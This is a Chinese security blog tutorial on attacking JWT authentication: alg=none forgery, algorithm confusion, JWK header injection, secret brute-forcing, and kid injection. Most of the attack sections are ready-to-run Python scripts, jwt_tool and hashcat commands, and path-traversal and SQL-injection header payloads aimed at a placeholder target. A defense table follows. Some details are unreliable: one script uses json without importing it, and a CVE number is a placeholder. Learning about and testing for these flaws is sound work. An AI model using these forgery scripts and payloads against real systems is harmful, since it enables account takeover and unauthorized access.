PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】JWT攻击实战:算法混淆、密钥爆破与签名伪造

📅 2026年5月23日 📁 Hermes Agent ⏱ 4 分钟

适合人群:了解 JWT 基本结构的 web 安全学习者

前置知识:HTTP 请求、Base64、基本的 Python/Node 语法

本文定位:从原理到实战,手把手拿下 JWT 漏洞


前置准备

工具安装


# 1. jwt_tool — JWT 测试瑞士军刀
pip3 install pyjwt  # Python 的 JWT 库,用于手动测试
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool && python3 jwt_tool.py --help

# 2. 在线调试工具(浏览器备着)
# https://jwt.io/ — 就地解码/伪造

靶场准备


# 推荐靶场:WebGoat JWT 模块
docker run -d -p 8081:8080 webgoat/goatandwolf:latest

# 或直接用公开靶场
# https://portswigger.net/web-security/jwt

一、核心原理:JWT 到底怎么工作的

JWT(JSON Web Token)是三方结构:


header.payload.signature

具体示例:


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFkbWluIn0.d7R3xlix0kR5dS1VuJ3XNA==

三个部分解码后:

Header:


{"alg": "HS256", "typ": "JWT"}

Payload(这里是关键区):


{"sub": "1234567890", "name": "admin", "iat": 1745000000}

Signature:


HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

核心安全问题:

服务器只验证签名,不验证alg字段的合理性。如果我改 header 里的 algHS256 变成 none,有些库就直接跳过签名验证了——这就是高危。


二、实操:6 种 JWT 攻击手法

攻击 ①:alg=none 绕过

原理:早期 JWT 库遇到 alg: none 时直接信任 payload,不校验签名。

步骤:


# 步骤 1:拿到原始 JWT(从 Cookie/Authorization Header 中提取)
# 用 jwt_tool 扫描
python3 jwt_tool.py -t http://target.com/admin -rc "session=eyJhbGciOiJIUzI1NiJ9..."

# 步骤 2:修改 header
# 原始 header: {"alg":"HS256","typ":"JWT"}
# 改为:

import base64, json

# 原 token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6InVzZXIifQ.xxx"

# 改 header + payload
header = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({"sub":"1","name":"admin","role":"admin"}).encode()).rstrip(b'=').decode()

forged = f"{header}.{payload}."
print(forged)
# 注意最后的点不能少!signature 部分为空

验证:用伪造的 JWT 访问管理接口,如果返回 200 且显示管理员数据,说明漏洞存在。

⚠️ 很多现代 JWT 库(如 PyJWT 2.x+)已经默认拒绝 alg: none,但在 Node.js 的 jsonwebtoken@<9.0 和旧版 Python PyJWT<2.0 中仍然有效。


攻击 ②:HMAC vs RSA 算法混淆(CVE-2015-9235)

原理:服务器用 RSA(公/私钥对)签名,但你拿到它的公钥后,用公钥作为 HMAC 的对称密钥来伪造 token。服务器在验证时,如果误用了你给的 alg 值,就可能上当。

场景判定:

  • Header 里 algRS256(RSA)但你可能拿不到私钥
  • 但 JWT 库允许降级到 HS256(HMAC)且验证时用公钥当密钥

实战步骤:


# 1. 获取公钥(常见泄露位置)
#     - /.well-known/jwks.json
#     - /public.key
#     - 从 GitHub 泄漏
curl -s http://target.com/.well-known/jwks.json | jq .

import jwt

# 2. 假设拿到了公钥内容(PEM 格式)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# 3. 伪造 token:把 alg 改为 HS256,用公钥当密钥签名
forged = jwt.encode(
    {"sub": "1", "name": "admin", "role": "admin"},
    public_key,
    algorithm="HS256"
)
print(forged)

一次性脚本 jwt_confusion.py


#!/usr/bin/env python3
"""JWT 算法混淆攻击 - 用公钥伪造 HMAC 签名"""

import jwt
import sys

def exploit_algorithm_confusion(pubkey_path, payload):
    with open(pubkey_path, 'r') as f:
        pubkey = f.read()

    forged = jwt.encode(payload, pubkey, algorithm='HS256')
    print(f"[+] 伪造 token:\n{forged}")
    return forged

if __name__ == '__main__':
    # python3 jwt_confusion.py /path/to/public.key '{"sub":"1","role":"admin"}'
    pubkey_path = sys.argv[1]
    payload = json.loads(sys.argv[2])
    exploit_algorithm_confusion(pubkey_path, payload)

关键点:服务器必须同时接受 HS256 和 RS256 两种算法,且在验证 HMAC 签名时使用了 RSA 的公钥作为密钥。这是库实现的问题,不是算法本身的问题。


攻击 ③:JWK Header 注入(CVE-2018-0114)

原理:JWT header 可以带一个 jwkjku 字段指定验证公钥。如果你能控制这个字段,直接塞入自己的公钥,签名就是用自己的私钥签的。

构造:


# 用 jwt_tool 一键完成
python3 jwt_tool.py http://target.com/admin \
  -rc "session=eyJ..." \
  -X POST \
  -I -pc sub=admin -pc role=admin \
  -S hs256 -pr /tmp/private.pem

手工构造(Python):


from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt, json, base64

# 1. 生成自己的 RSA 密钥对
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()

# 2. 构造 jwk header
jwk = {
    "kty": "RSA",
    "n": base64.urlsafe_b64encode(
        public_numbers.n.to_bytes(256, 'big')
    ).rstrip(b'=').decode(),
    "e": base64.urlsafe_b64encode(
        public_numbers.e.to_bytes(3, 'big')
    ).rstrip(b'=').decode(),
    "alg": "RS256"
}

# 3. 签名
headers = {"alg": "RS256", "typ": "JWT", "jwk": jwk}
forged = jwt.encode(
    {"sub": "1", "name": "admin", "role": "admin"},
    private_pem,
    algorithm="RS256",
    headers=headers
)
print(forged)

攻击 ④:密钥爆破(弱密钥攻击)

如果服务器使用的是对称算法(HS256/HS384/HS512)且密钥是弱口令,直接爆破。


# 用 jwt_tool 内置 wordlist 爆破
python3 jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt \
  -t http://target.com/api/admin \
  -rc "session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# 或用 hashcat 模式 16500
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

自己写脚本爆破:


#!/usr/bin/env python3
import jwt
import sys

token = sys.argv[1]
wordlist = sys.argv[2]

with open(wordlist, 'r', errors='ignore') as f:
    for line in f:
        key = line.strip()
        try:
            payload = jwt.decode(token, key, algorithms=['HS256'])
            print(f"[+] 找到密钥: {key}")
            print(f"[+] Payload: {payload}")
            break
        except jwt.InvalidSignatureError:
            continue

已知常见 JWT 密钥:

  • secret
  • secret123
  • jwt_secret
  • changeme
  • password
  • qwerty123
  • 项目名/公司名的小写

攻击 ⑤:KID 注入(CVE-2023-XX)

KID(Key ID)在 header 中指定用于验证的密钥,如果后端实现不安全,可能被注入。


// 原始 header
{"alg":"HS256","typ":"JWT","kid":"key1"}

// 攻击 header —— 目录遍历
{"alg":"HS256","typ":"JWT","kid":"../../etc/passwd"}

// 攻击 header —— SQL 注入(如果后端从数据库取密钥)
{"alg":"HS256","typ":"JWT","kid":"' UNION SELECT 'mysecret' -- "}

// 攻击 header —— 空密钥
{"alg":"HS256","typ":"JWT","kid":"../../dev/null"}

原理:服务器用 kid 去文件系统或数据库查密钥,如果没做路径/输入过滤,可以控制读取任意文件或用任意字符串当密钥签名。


攻击 ⑥:权限水平越权(直接改 payload)

即使签名不可伪造,如果服务器只校验签名有效性却不校验权限字段的合法性,你拿到一个普通用户的 JWT 可以直接改 payload 中的 role 字段吗?

——不行。 签名校验会失败。

如果其他漏洞存在,比如上述的算法混淆或密钥泄露,就组合起来了:


# 真实组合拳案例
# 1. 用密钥爆破拿到弱密钥
# 2. 把 payload 的 role 从 user 改成 admin
# 3. 用原算法重签
# 4. 用新 token 访问管理接口

三、完整攻击流程图


拿到目标 JWT
    │
    ├─(1)解码查看 header alg 和 payload
    │
    ├─(2)尝试 alg: none
    │
    ├─(3)检查 /.well-known/jwks.json 有无公钥泄露
    │       └─有 → 算法混淆攻击
    │
    ├─(4)尝试弱密钥爆破
    │       └─成功 → 伪造任意身份
    │
    ├─(5)检查 kid 参数是否可注入
    │
    └─(6)检查 JWK/JKU header 是否被信任
            └─是 → 自建密钥签名

四、防御总结(知己知彼)

攻击手法防御措施
alg:none在服务端显式拒绝 none 算法;使用 JWT 库的 whitelist 机制
算法混淆固定算法列表,不允许客户端指定 alg 切换签名类型
JWK 注入禁用 jwk/jku header;使用固定的公钥白名单
KID 注入对 kid 做路径校验 + 输入过滤,不支持路径拼接
弱密钥使用高熵随机密钥(>= 256 bit),定期轮换
payload 越权不仅仅是验证签名,后端必须二次校验 payload 中的权限字段

五、自测 CheckList

  • [ ] token 去掉 signature 部分(留空)还能通过吗?
  • [ ] 把 alg 改成 noneNoneNONEnOnE 试试?
  • [ ] Header 改为 HS256 用公钥当密钥签名?
  • [ ] 用 10000+ 个弱口令跑过密钥爆破吗?
  • [ ] 网站暴露了 JWKS 公钥端点吗?
  • [ ] 修改 payload 的 sub/role/admin 字段后 token 还能用吗?

参考资源

← 返回首页